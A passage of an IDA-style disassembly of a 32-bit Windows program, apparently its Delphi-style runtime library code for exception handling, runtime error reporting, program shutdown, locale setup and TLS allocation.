		cmp	dword ptr [eax], 0EEDFADEh
		jz	short loc_4029FA
		mov	eax, [edx+8]
		call	sub_402760
		call	sub_40276C

loc_4029FA:				; CODE XREF: sub_4029C0+2Bj
		xor	eax, eax
		add	esp, 14h
		mov	edx, fs:[eax]
		pop	ecx
		mov	edx, [edx]
		mov	[ecx], edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx

loc_402A0B:				; DATA XREF: sub_4029C0+4o
		mov	eax, 1
		retn
sub_4029C0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402A14	proc near		; CODE XREF: sub_402BE4+55p
					; sub_402C44+55p ...

arg_2C		= dword	ptr  30h

		call	sub_40327C
		mov	edx, [eax+0]
		mov	ecx, [edx]
		mov	[eax+0], ecx
		mov	eax, [edx+8]
		call	sub_402760
		pop	edx
		mov	esp, [esp-4+arg_2C]
		xor	eax, eax
		pop	ecx
		mov	fs:[eax], ecx
		pop	eax
		pop	ebp
		call	sub_402820
		jmp	edx
sub_402A14	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_402A44	proc near		; CODE XREF: sub_401E64+F5p
					; sub_401E64+14Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		xor	edx, edx
		mov	ecx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		add	ecx, 5
		mov	fs:[edx], eax
		call	ecx
		retn	0Ch
sub_402A44	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

loc_402A5C:				; CODE XREF: CODE:00402B5Cj
					; CODE:00402B68j
		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+8]
		mov	eax, [edx]
		cmp	eax, 0C0000092h
		jg	short loc_402A97
		jz	short loc_402AC9
		cmp	eax, 0C000008Eh
		jg	short loc_402A89
		jz	short loc_402ACD
		sub	eax, 0C0000005h
		jz	short loc_402AD9
		sub	eax, 87h
		jz	short loc_402AC1
		dec	eax
		jz	short loc_402AD5
		jmp	short loc_402AE9
; ---------------------------------------------------------------------------

loc_402A89:				; CODE XREF: CODE:00402A72j
		add	eax, 3FFFFF71h
		sub	eax, 2
		jb	short loc_402AC9
		jz	short loc_402AC5
		jmp	short loc_402AE9
; ---------------------------------------------------------------------------

loc_402A97:				; CODE XREF: CODE:00402A69j
		cmp	eax, 0C0000096h
		jg	short loc_402AAF
		jz	short loc_402ADD
		sub	eax, 0C0000093h
		jz	short loc_402AD5
		dec	eax
		jz	short loc_402ABD
		dec	eax
		jz	short loc_402AD1
		jmp	short loc_402AE9
; ---------------------------------------------------------------------------

loc_402AAF:				; CODE XREF: CODE:00402A9Cj
		sub	eax, 0C00000FDh
		jz	short loc_402AE5
		sub	eax, 3Dh
		jz	short loc_402AE1
		jmp	short loc_402AE9
; ---------------------------------------------------------------------------

loc_402ABD:				; CODE XREF: CODE:00402AA8j
		mov	al, 0C8h
		jmp	short loc_402AEB
; ---------------------------------------------------------------------------

loc_402AC1:				; CODE XREF: CODE:00402A82j
		mov	al, 0C9h
		jmp	short loc_402AEB
; ---------------------------------------------------------------------------

loc_402AC5:				; CODE XREF: CODE:00402A93j
		mov	al, 0CDh
		jmp	short loc_402AEB
; ---------------------------------------------------------------------------

loc_402AC9:				; CODE XREF: CODE:00402A6Bj
					; CODE:00402A91j
		mov	al, 0CFh
		jmp	short loc_402AEB
; ---------------------------------------------------------------------------

loc_402ACD:				; CODE XREF: CODE:00402A74j
		mov	al, 0C8h
		jmp	short loc_402AEB
; ---------------------------------------------------------------------------

loc_402AD1:				; CODE XREF: CODE:00402AABj
		mov	al, 0D7h
		jmp	short loc_402AEB
; ---------------------------------------------------------------------------

loc_402AD5:				; CODE XREF: CODE:00402A85j
					; CODE:00402AA5j
		mov	al, 0CEh
		jmp	short loc_402AEB
; ---------------------------------------------------------------------------

loc_402AD9:				; CODE XREF: CODE:00402A7Bj
		mov	al, 0D8h
		jmp	short loc_402AEB
; ---------------------------------------------------------------------------

loc_402ADD:				; CODE XREF: CODE:00402A9Ej
		mov	al, 0DAh
		jmp	short loc_402AEB
; ---------------------------------------------------------------------------

loc_402AE1:				; CODE XREF: CODE:00402AB9j
		mov	al, 0D9h
		jmp	short loc_402AEB
; ---------------------------------------------------------------------------

loc_402AE5:				; CODE XREF: CODE:00402AB4j
		mov	al, 0CAh
		jmp	short loc_402AEB
; ---------------------------------------------------------------------------

loc_402AE9:				; CODE XREF: CODE:00402A87j
					; CODE:00402A95j ...
		mov	al, 0FFh

loc_402AEB:				; CODE XREF: CODE:00402ABFj
					; CODE:00402AC3j ...
		and	eax, 0FFh
		mov	edx, [edx+0Ch]
		call	sub_402478
; ---------------------------------------------------------------------------
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------

loc_402AFC:				; DATA XREF: sub_402B9C+Do
		mov	eax, [esp+4]
		test	dword ptr [eax+4], 6
		jnz	loc_402B96
		cmp	ds:byte_404010,	0
		ja	short loc_402B25
		lea	eax, [esp+4]
		push	eax
		call	sub_401018	; UnhandledExceptionFilter
		cmp	eax, 0
		jz	short loc_402B96

loc_402B25:				; CODE XREF: CODE:00402B14j
		mov	eax, [esp+4]
		cld
		call	sub_402754
		mov	edx, [esp+8]
		push	0
		push	eax
		push	offset loc_402B42
		push	edx
		call	ds:off_405014

loc_402B42:				; DATA XREF: CODE:00402B36o
		mov	ebx, [esp+4]
		cmp	dword ptr [ebx], 0EEDFADEh
		mov	edx, [ebx+14h]
		mov	eax, [ebx+18h]
		jz	short loc_402B71
		mov	edx, ds:dword_40500C
		test	edx, edx
		jz	loc_402A5C
		mov	eax, ebx
		call	edx
		test	eax, eax
		jz	loc_402A5C
		mov	edx, [ebx+0Ch]

loc_402B71:				; CODE XREF: CODE:00402B52j
		call	sub_40283C
		mov	ecx, ds:dword_405004
		test	ecx, ecx
		jz	short loc_402B82
		call	ecx

loc_402B82:				; CODE XREF: CODE:00402B7Ej
		mov	ecx, [esp+4]
		mov	eax, 0D9h
		mov	edx, [ecx+14h]
		mov	[esp], edx
		jmp	sub_402EE0
; ---------------------------------------------------------------------------

loc_402B96:				; CODE XREF: CODE:00402B07j
					; CODE:00402B23j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402B9C	proc near		; CODE XREF: sub_402CA4+2Ep
		xor	edx, edx
		lea	eax, [ebp-0Ch]
		mov	ecx, fs:[edx]
		mov	fs:[edx], eax
		mov	[eax], ecx
		mov	dword ptr [eax+4], offset loc_402AFC
		mov	[eax+8], ebp
		mov	ds:dword_405624, eax
		retn
sub_402B9C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402BBC	proc near		; CODE XREF: sub_402DFC:loc_402E86p
		xor	edx, edx
		mov	eax, ds:dword_405624
		test	eax, eax
		jz	short locret_402BE3
		mov	ecx, fs:[edx]
		cmp	eax, ecx
		jnz	short loc_402BD6
		mov	eax, [eax]
		mov	fs:[edx], eax
		retn
; ---------------------------------------------------------------------------

loc_402BD4:				; CODE XREF: sub_402BBC+21j
		mov	ecx, [ecx]

loc_402BD6:				; CODE XREF: sub_402BBC+10j
		cmp	ecx, 0FFFFFFFFh
		jz	short locret_402BE3
		cmp	[ecx], eax
		jnz	short loc_402BD4
		mov	eax, [eax]
		mov	[ecx], eax

locret_402BE3:				; CODE XREF: sub_402BBC+9j
					; sub_402BBC+1Dj
		retn
sub_402BBC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402BE4	proc near		; CODE XREF: sub_402BE4+4Bp
					; sub_402C44+4Bp ...

var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 0040285C SIZE 00000104 BYTES
; FUNCTION CHUNK AT 00402980 SIZE 00000006 BYTES

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_405620
		mov	eax, [edi+8]
		test	eax, eax
		jz	short loc_402C3E
		mov	ebx, [edi+0Ch]
		mov	esi, [eax+4]
		xor	edx, edx
		push	ebp
		push	offset loc_402C2A
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		test	ebx, ebx
		jle	short loc_402C20

loc_402C0E:				; CODE XREF: sub_402BE4+3Aj
		dec	ebx
		mov	[edi+0Ch], ebx
		mov	eax, [esi+ebx*8+4]
		test	eax, eax
		jz	short loc_402C1C
		call	eax

loc_402C1C:				; CODE XREF: sub_402BE4+34j
		test	ebx, ebx
		jg	short loc_402C0E

loc_402C20:				; CODE XREF: sub_402BE4+28j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_402C3E
; ---------------------------------------------------------------------------

loc_402C2A:				; DATA XREF: sub_402BE4+1Bo
		jmp	loc_40285C
; ---------------------------------------------------------------------------
		call	sub_402BE4
		call	sub_4029C0
		call	sub_402A14

loc_402C3E:				; CODE XREF: sub_402BE4+10j
					; sub_402BE4+44j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_402BE4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402C44	proc near		; CODE XREF: sub_402CA4+3Ap
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	eax, ds:off_405628
		test	eax, eax
		jz	short loc_402C9E
		mov	esi, [eax]
		xor	ebx, ebx
		mov	edi, [eax+4]
		xor	edx, edx
		push	ebp
		push	offset loc_402C8A
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		cmp	esi, ebx
		jle	short loc_402C80

loc_402C6C:				; CODE XREF: sub_402C44+3Aj
		mov	eax, [edi+ebx*8]
		inc	ebx
		mov	ds:dword_40562C, ebx
		test	eax, eax
		jz	short loc_402C7C
		call	eax

loc_402C7C:				; CODE XREF: sub_402C44+34j
		cmp	esi, ebx
		jg	short loc_402C6C

loc_402C80:				; CODE XREF: sub_402C44+26j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_402C9E
; ---------------------------------------------------------------------------

loc_402C8A:				; DATA XREF: sub_402C44+19o
		jmp	loc_40285C
; ---------------------------------------------------------------------------
		call	sub_402BE4
		call	sub_4029C0
		call	sub_402A14

loc_402C9E:				; CODE XREF: sub_402C44+Dj
					; sub_402C44+44j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_402C44	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402CA4	proc near		; CODE XREF: sub_4032C8+3Ap
		mov	ds:off_405010, offset sub_401008
		mov	ds:off_405014, offset sub_401010
		mov	ds:off_405628, eax
		xor	eax, eax
		mov	ds:dword_40562C, eax
		mov	ds:off_405630, edx
		mov	eax, [edx+4]
		mov	ds:dword_40501C, eax
		call	sub_402B9C
		mov	ds:byte_405024,	0
		call	sub_402C44
		retn
sub_402CA4	endp


; =============== S U B	R O U T	I N E =======================================



sub_402CE4	proc near		; CODE XREF: sub_402DFC+38p
		push	ebx
		push	esi
		push	edi
		mov	esi, offset aRuntimeErrorAt ; "Runtime error	 at 00000000"
		mov	cl, 10h
		mov	ebx, ds:dword_404000

loc_402CF4:				; CODE XREF: sub_402CE4+33j
		mov	eax, ebx
		mov	edi, 0Ah
		cdq
		idiv	edi
		add	dl, 30h
		xor	eax, eax
		mov	al, cl
		mov	[esi+eax], dl
		mov	eax, ebx
		mov	ebx, 0Ah
		cdq
		idiv	ebx
		mov	ebx, eax
		dec	ecx
		test	ebx, ebx
		jnz	short loc_402CF4
		mov	cl, 1Ch
		mov	eax, ds:dword_404004

loc_402D20:				; CODE XREF: sub_402CE4+54j
		mov	edx, eax
		and	edx, 0Fh
		mov	dl, ds:byte_404074[edx]
		xor	ebx, ebx
		mov	bl, cl
		mov	[esi+ebx], dl
		shr	eax, 4
		dec	ecx
		test	eax, eax
		jnz	short loc_402D20
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_402CE4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402D40	proc near		; CODE XREF: sub_402DFC+9Ep
		xor	eax, eax
		xchg	eax, ds:dword_404000
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	edi, offset dword_405620
		mov	ebx, [edi+18h]
		mov	ebp, [edi+14h]
		push	dword ptr [edi+1Ch]
		push	dword ptr [edi+20h]
		mov	esi, [edi]
		mov	ecx, 0Bh
		rep movsd
		pop	edi
		pop	esi
		leave
		retn	0Ch
sub_402D40	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402D70	proc near		; CODE XREF: sub_402DFC+3Dp

var_4		= byte ptr -4

		push	ecx
		cmp	ds:byte_405034,	0
		jz	short loc_402DD1
		cmp	ds:word_405208,	0D7B2h
		jnz	short loc_402D99
		cmp	ds:dword_405210, 0
		jbe	short loc_402D99
		mov	eax, offset dword_405204
		call	ds:dword_405220

loc_402D99:				; CODE XREF: sub_402D70+13j
					; sub_402D70+1Cj
		push	0
		lea	eax, [esp+8+var_4]
		push	eax
		push	1Eh
		push	offset aRuntimeErrorAt ; "Runtime error	    at 00000000"
		push	0FFFFFFF5h
		call	sub_401000	; GetStdHandle
		push	eax
		call	sub_401020	; WriteFile
		push	0
		lea	eax, [esp+8+var_4]
		push	eax
		push	2
		push	offset dword_402DF8
		push	0FFFFFFF5h
		call	sub_401000	; GetStdHandle
		push	eax
		call	sub_401020	; WriteFile
		pop	edx
		retn
; ---------------------------------------------------------------------------

loc_402DD1:				; CODE XREF: sub_402D70+8j
		cmp	ds:byte_404018,	0
		jnz	short loc_402DED
		push	0
		push	offset aError	; "Error"
		push	offset aRuntimeErrorAt ; "Runtime error	    at 00000000"
		push	0
		call	sub_401030	; MessageBoxA

loc_402DED:				; CODE XREF: sub_402D70+68j
		pop	edx
		retn
sub_402D70	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 0FFFFFFFFh, 2
dword_402DF8	dd 0A0Dh		; DATA XREF: sub_402D70+4Do

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_402DFC	proc near		; CODE XREF: sub_402ED4+5p
					; CODE:004034BBp
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, offset dword_405620
		mov	esi, offset dword_404000
		mov	edi, offset dword_405030
		cmp	byte ptr [ebx+28h], 0
		jnz	short loc_402E2B
		cmp	dword ptr [edi], 0
		jz	short loc_402E2B

loc_402E1A:				; CODE XREF: sub_402DFC+2Dj
		mov	edx, [edi]
		mov	eax, edx
		xor	edx, edx
		mov	[edi], edx
		mov	ebp, eax
		call	ebp
		cmp	dword ptr [edi], 0
		jnz	short loc_402E1A

loc_402E2B:				; CODE XREF: sub_402DFC+17j
					; sub_402DFC+1Cj
		cmp	ds:dword_404004, 0
		jz	short loc_402E45
		call	sub_402CE4
		call	sub_402D70
		xor	eax, eax
		mov	ds:dword_404004, eax

loc_402E45:				; CODE XREF: sub_402DFC+36j
					; sub_402DFC+CEj
		cmp	byte ptr [ebx+28h], 2
		jnz	short loc_402E55
		cmp	dword ptr [esi], 0
		jnz	short loc_402E55
		xor	eax, eax
		mov	[ebx+0Ch], eax

loc_402E55:				; CODE XREF: sub_402DFC+4Dj
					; sub_402DFC+52j
		call	sub_402BE4
		cmp	byte ptr [ebx+28h], 1
		jbe	short loc_402E65
		cmp	dword ptr [esi], 0
		jz	short loc_402E86

loc_402E65:				; CODE XREF: sub_402DFC+62j
		mov	eax, [ebx+10h]
		test	eax, eax
		jz	short loc_402E86
		call	sub_402FF8
		mov	edx, [ebx+10h]
		mov	eax, [edx+10h]
		cmp	eax, [edx+4]
		jz	short loc_402E86
		test	eax, eax
		jz	short loc_402E86
		push	eax
		call	sub_401038	; FreeLibrary

loc_402E86:				; CODE XREF: sub_402DFC+67j
					; sub_402DFC+6Ej ...
		call	sub_402BBC
		cmp	byte ptr [ebx+28h], 1
		jnz	short loc_402E94
		call	dword ptr [ebx+24h]

loc_402E94:				; CODE XREF: sub_402DFC+93j
		cmp	byte ptr [ebx+28h], 0
		jz	short loc_402E9F
		call	sub_402D40

loc_402E9F:				; CODE XREF: sub_402DFC+9Cj
		cmp	dword ptr [ebx], 0
		jnz	short loc_402EBB
		cmp	ds:dword_405018, 0
		jz	short loc_402EB3
		call	ds:dword_405018

loc_402EB3:				; CODE XREF: sub_402DFC+AFj
		mov	eax, [esi]
		push	eax
		call	sub_401028	; ExitProcess

loc_402EBB:				; CODE XREF: sub_402DFC+A6j
		mov	eax, [ebx]
		push	esi
		mov	esi, eax
		mov	edi, ebx
		mov	ecx, 0Bh
		rep movsd
		pop	esi
		jmp	loc_402E45
sub_402DFC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_402ED4	proc near		; CODE XREF: sub_402478+6p
					; sub_402EE0+6j
		mov	ds:dword_404000, eax
		call	sub_402DFC
sub_402ED4	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_402EE0	proc near		; CODE XREF: CODE:00402B91j
					; sub_403238+1Ap ...
		pop	ds:dword_404004
		jmp	sub_402ED4
sub_402EE0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_402EEC	proc near		; CODE XREF: sub_402F3C+23p
					; sub_403068+60p
		mov	edx, [eax]
		test	edx, edx
		jz	short locret_402F0E
		mov	dword ptr [eax], 0
		mov	ecx, [edx-8]
		dec	ecx
		jl	short locret_402F0E
		lock dec dword ptr [edx-8]
		jnz	short locret_402F0E
		push	eax
		lea	eax, [edx-8]
		call	sub_402458
		pop	eax

locret_402F0E:				; CODE XREF: sub_402EEC+4j
					; sub_402EEC+10j ...
		retn
sub_402EEC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402F10	proc near		; CODE XREF: sub_402F3C+Bp
		test	eax, eax
		jle	short loc_402F38
		push	eax
		add	eax, 0Ah
		and	eax, 0FFFFFFFEh
		push	eax
		call	sub_402438
		pop	edx
		mov	word ptr [edx+eax-2], 0
		add	eax, 8
		pop	edx
		mov	[eax-4], edx
		mov	dword ptr [eax-8], 1
		retn
; ---------------------------------------------------------------------------

loc_402F38:				; CODE XREF: sub_402F10+2j
		xor	eax, eax
		retn
sub_402F10	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402F3C	proc near		; CODE XREF: sub_402F6C+12j
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		mov	edi, ecx
		mov	eax, edi
		call	sub_402F10
		mov	ecx, edi
		mov	edi, eax
		test	esi, esi
		jz	short loc_402F5D
		mov	edx, eax
		mov	eax, esi
		call	sub_4024EC

loc_402F5D:				; CODE XREF: sub_402F3C+16j
		mov	eax, ebx
		call	sub_402EEC
		mov	[ebx], edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_402F3C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402F6C	proc near		; CODE XREF: sub_403068+36p
		push	edi
		push	eax
		push	ecx
		mov	edi, edx
		xor	eax, eax
		repne scasb
		jnz	short loc_402F79
		not	ecx

loc_402F79:				; CODE XREF: sub_402F6C+9j
		pop	eax
		add	ecx, eax
		pop	eax
		pop	edi
		jmp	sub_402F3C
sub_402F6C	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_402F84	proc near		; DATA XREF: CODE:0040315Fo
					; BSS:off_405000o
		mov	al, 11h
		jmp	sub_4024D0
sub_402F84	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402F8C	proc near		; CODE XREF: sub_402FF8+1Bp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], eax
		mov	eax, ds:dword_404020
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_402FDF

loc_402FA6:				; CODE XREF: sub_402F8C+51j
		xor	eax, eax
		push	ebp
		push	offset loc_402FC7
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	ebx, [ebp+var_8]
		mov	eax, [ebp+var_4]
		call	dword ptr [ebx+4]
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_402FD1
; ---------------------------------------------------------------------------

loc_402FC7:				; DATA XREF: sub_402F8C+1Do
		jmp	loc_40285C
; ---------------------------------------------------------------------------
		call	sub_402A14

loc_402FD1:				; CODE XREF: sub_402F8C+39j
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_402FA6

loc_402FDF:				; CODE XREF: sub_402F8C+18j
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_402F8C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402FE8	proc near		; CODE XREF: sub_4032BC+5p
		mov	edx, ds:dword_40401C
		mov	[eax], edx
		mov	ds:dword_40401C, eax
		retn
sub_402FE8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402FF8	proc near		; CODE XREF: sub_402DFC+70p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], eax
		xor	edx, edx
		push	ebp
		push	offset loc_40305C
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		mov	eax, [ebp+var_4]
		mov	eax, [eax+4]
		call	sub_402F8C
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403063

loc_403025:				; CODE XREF: sub_402FF8+69j
		mov	eax, [ebp+var_4]
		cmp	eax, ds:dword_40401C
		jnz	short loc_40303C
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	ds:dword_40401C, eax
		jmp	short loc_40305B
; ---------------------------------------------------------------------------

loc_40303C:				; CODE XREF: sub_402FF8+36j
		mov	eax, ds:dword_40401C
		test	eax, eax
		jz	short loc_40305B

loc_403045:				; CODE XREF: sub_402FF8+61j
		mov	edx, [eax]
		cmp	edx, [ebp+var_4]
		jnz	short loc_403055
		mov	edx, [ebp+var_4]
		mov	edx, [edx]
		mov	[eax], edx
		jmp	short loc_40305B
; ---------------------------------------------------------------------------

loc_403055:				; CODE XREF: sub_402FF8+52j
		mov	eax, [eax]
		test	eax, eax
		jnz	short loc_403045

loc_40305B:				; CODE XREF: sub_402FF8+42j
					; sub_402FF8+4Bj ...
		retn
; ---------------------------------------------------------------------------

loc_40305C:				; DATA XREF: sub_402FF8+Ao
		jmp	loc_402988
; ---------------------------------------------------------------------------
		jmp	short loc_403025
; ---------------------------------------------------------------------------

loc_403063:				; CODE XREF: sub_402FF8:loc_40305Bj
					; DATA XREF: sub_402FF8+28o
		pop	ecx
		pop	ebp
		retn
sub_402FF8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403068	proc near		; CODE XREF: CODE:004031DDp
					; CODE:004031EEp

var_10		= dword	ptr -10h
var_B		= byte ptr -0Bh
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		xor	edx, edx
		mov	[ebp+var_10], edx
		xor	edx, edx
		push	ebp
		push	offset loc_4030CE
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		push	7
		lea	edx, [ebp+var_B]
		push	edx
		push	1004h
		push	eax
		call	sub_401048	; GetLocaleInfoA
		lea	eax, [ebp+var_10]
		lea	edx, [ebp+var_B]
		mov	ecx, 7
		call	sub_402F6C
		mov	eax, [ebp+var_10]
		lea	edx, [ebp+var_4]
		call	sub_402584
		mov	ebx, eax
		cmp	[ebp+var_4], 0
		jz	short loc_4030B8
		xor	ebx, ebx

loc_4030B8:				; CODE XREF: sub_403068+4Cj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4030D5

loc_4030C5:				; CODE XREF: sub_403068+6Bj
		lea	eax, [ebp+var_10]
		call	sub_402EEC
		retn
; ---------------------------------------------------------------------------

loc_4030CE:				; DATA XREF: sub_403068+Fo
		jmp	loc_402988
; ---------------------------------------------------------------------------
		jmp	short loc_4030C5
; ---------------------------------------------------------------------------

loc_4030D5:				; CODE XREF: sub_403068+65j
					; DATA XREF: sub_403068+58o
		mov	eax, ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_403068	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_403126
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_4055A4
		jnz	short loc_403118
		mov	eax, offset dword_405038
		call	sub_40252C
		mov	eax, offset dword_405204
		call	sub_40252C
		mov	eax, offset dword_4053D0
		call	sub_40252C
		call	sub_40183C

loc_403118:				; CODE XREF: CODE:004030F3j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40312D

loc_403125:				; CODE XREF: CODE:0040312Bj
		retn
; ---------------------------------------------------------------------------

loc_403126:				; DATA XREF: CODE:004030E2o
		jmp	loc_402988
; ---------------------------------------------------------------------------
		jmp	short loc_403125
; ---------------------------------------------------------------------------

loc_40312D:				; CODE XREF: CODE:loc_403125j
					; DATA XREF: CODE:00403120o
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		sub	ds:dword_4055A4, 1
		jnb	locret_403202
		mov	ds:byte_404008,	2
		mov	ds:off_405010, offset sub_401008
		mov	ds:off_405014, offset sub_401010
		mov	ds:byte_405036,	2
		mov	ds:off_405000, offset sub_402F84
		call	sub_402660
		test	al, al
		jz	short loc_403177
		call	sub_402690

loc_403177:				; CODE XREF: CODE:00403170j
		call	sub_402754
		mov	ds:word_40503C,	0D7B0h
		mov	ds:word_405208,	0D7B0h
		mov	ds:word_4053D4,	0D7B0h
		call	sub_401040	; GetCommandLineA
		mov	ds:dword_40502C, eax
		call	sub_401088
		mov	ds:dword_405028, eax
		call	sub_401080	; GetVersion
		and	eax, 80000000h
		cmp	eax, 80000000h
		jz	short loc_4031E9
		call	sub_401080	; GetVersion
		and	eax, 0FFh
		cmp	ax, 4
		jbe	short loc_4031D8
		mov	ds:dword_4055A8, 3
		jmp	short loc_4031F8
; ---------------------------------------------------------------------------

loc_4031D8:				; CODE XREF: CODE:004031CAj
		call	sub_401058	; GetThreadLocale
		call	sub_403068
		mov	ds:dword_4055A8, eax
		jmp	short loc_4031F8
; ---------------------------------------------------------------------------

loc_4031E9:				; CODE XREF: CODE:004031BAj
		call	sub_401058	; GetThreadLocale
		call	sub_403068
		mov	ds:dword_4055A8, eax

loc_4031F8:				; CODE XREF: CODE:004031D6j
					; CODE:004031E7j
		call	sub_401078	; GetCurrentThreadId
		mov	ds:dword_405020, eax

locret_403202:				; CODE XREF: CODE:00403137j
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403204	proc near		; CODE XREF: sub_4032C8+Cp
		jmp	ds:dword_4060F8
sub_403204	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40320C	proc near		; CODE XREF: sub_403224+3p
		jmp	ds:dword_4060F4
sub_40320C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403214	proc near		; CODE XREF: sub_40327C+25p
					; sub_40327C+36p
		jmp	ds:dword_4060F0
sub_403214	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40321C	proc near		; CODE XREF: sub_403238+3Dp
		jmp	ds:dword_4060EC
sub_40321C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403224	proc near		; CODE XREF: sub_403238+21p
		push	eax
		push	40h
		call	sub_40320C	; LocalAlloc
		retn
sub_403224	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_403230	proc near		; CODE XREF: sub_403238+1p
		mov	eax, 8
		retn
sub_403230	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403238	proc near		; CODE XREF: sub_40327C:loc_403296p
		push	ebx
		call	sub_403230
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_40327A
		cmp	ds:TlsIndex, 0FFFFFFFFh
		jnz	short loc_403257
		mov	eax, 0E2h
		call	sub_402EE0
; ---------------------------------------------------------------------------

loc_403257:				; CODE XREF: sub_403238+13j
		mov	eax, ebx
		call	sub_403224
		test	eax, eax
		jnz	short loc_40326E
		mov	eax, 0E2h
		call	sub_402EE0
; ---------------------------------------------------------------------------
		jmp	short loc_40327A
; ---------------------------------------------------------------------------

